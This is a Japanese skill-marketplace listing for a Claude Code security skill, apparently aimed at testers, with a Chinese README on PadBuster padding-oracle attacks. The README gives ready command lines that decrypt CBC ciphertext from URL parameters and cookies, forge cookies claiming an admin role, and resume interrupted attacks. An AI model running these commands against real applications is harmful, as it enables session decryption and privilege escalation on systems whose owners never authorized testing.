mcpField
P
padbuster-padding-oracle

padbuster-padding-oracle

github.com/wgpsecセキュリティ1.8k42 回インストール4 日前に更新
リポジトリ

padbuster-padding-oracle について

PadBusterを使ったCBCパディングオラクル検査の手法を解説するセキュリティスキルです。セキュリティテスト担当者向けに、自動復号、暗号文の偽造、複数のエンコード形式、応答によるエラー判定を扱います。

主な機能

  1. 01CBC暗号文の自動復号
  2. 02指定した平文の暗号文偽造
  3. 03複数の暗号文エンコード形式
  4. 04エラー応答判定のカスタマイズ

活用シーン

  1. 01CBCアプリのパディングオラクル脆弱性の検査
  2. 02URLパラメーターやCookieからの平文復元
  3. 03指定した平文に対する偽造暗号文の検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill padbuster-padding-oracle

インストール後、Claude Code で/padbuster-padding-oracleを入力して読み込まれたか確認します。

詳細

プロジェクトの README より

PadBuster Padding Oracle 攻击方法论

PadBuster 是 Padding Oracle 攻击的自动化工具。核心能力:自动解密 CBC 密文 + 伪造任意明文的合法密文 + 支持多种编码。

项目地址:https://github.com/AonCyberLabs/PadBuster

漏洞原理

Padding Oracle 漏洞出现在使用 CBC 模式块加密(AES-CBC/DES-CBC)的应用中,当应用对 padding 错误和其他错误返回不同响应时,攻击者可逐字节还原明文或构造任意密文。

Phase 1: 解密模式

# 解密 URL 参数中的密文(Base64 编码,AES-128)
padbuster "http://target/api?token=ENCRYPTED_VALUE" "ENCRYPTED_VALUE" 16 -encoding 0

# 解密 Cookie 中的密文
padbuster "http://target/" "BASE64_CIPHER" 16 \
  -cookies "auth=BASE64_CIPHER" -encoding 0

# Hex 编码的密文
padbuster "http://target/page?data=HEX_CIPHER" "HEX_CIPHER" 16 -encoding 1

# DES-CBC(块大小 8)
padbuster "http://target/page?token=ENC" "ENC" 8 -encoding 0

Phase 2: 加密模式(伪造密文)

# 伪造 Cookie 值(最危险的利用方式)
padbuster "http://target/" "BASE64_CIPHER" 16 \
  -cookies "auth=BASE64_CIPHER" -encoding 0 \
  -plaintext "admin"

# 伪造 JSON 内容
padbuster "http://target/" "BASE64_CIPHER" 16 \
  -cookies "session=BASE64_CIPHER" -encoding 0 \
  -plaintext '{"role":"admin","uid":1}'

Phase 3: 高级选项

# 自定义错误识别(当服务器不用 HTTP 状态码区分时)
padbuster "http://target/decrypt?data=ENC" "ENC" 16 \
  -encoding 0 -error "Invalid padding"

# URL 前缀(密文在 URL 路径中)
padbuster "http://target/api/ENCRYPTED/action" "ENCRYPTED" 16 \
  -encoding 0 -prefix "http://target/api/"

# 密文不含 IV
padbuster "http://target/?data=ENC" "ENC" 16 -encoding 0 -noiv

# 详细输出
padbuster "http://target/?data=ENC" "ENC" 16 -encoding 0 -veryverbose

# 恢复中断的攻击(已知 intermediate 值)
padbuster "http://target/?data=ENC" "ENC" 16 \
  -encoding 0 -intermediate "KNOWN_INTERMEDIATE_HEX"

编码对照表

编码值格式说明
0Base64最常见
1hex (小写)a-f 格式
2hex (大写)A-F 格式
3.NET UrlTokenASP.NET 特有
4WebSafe Base64URL 安全的 Base64

コメント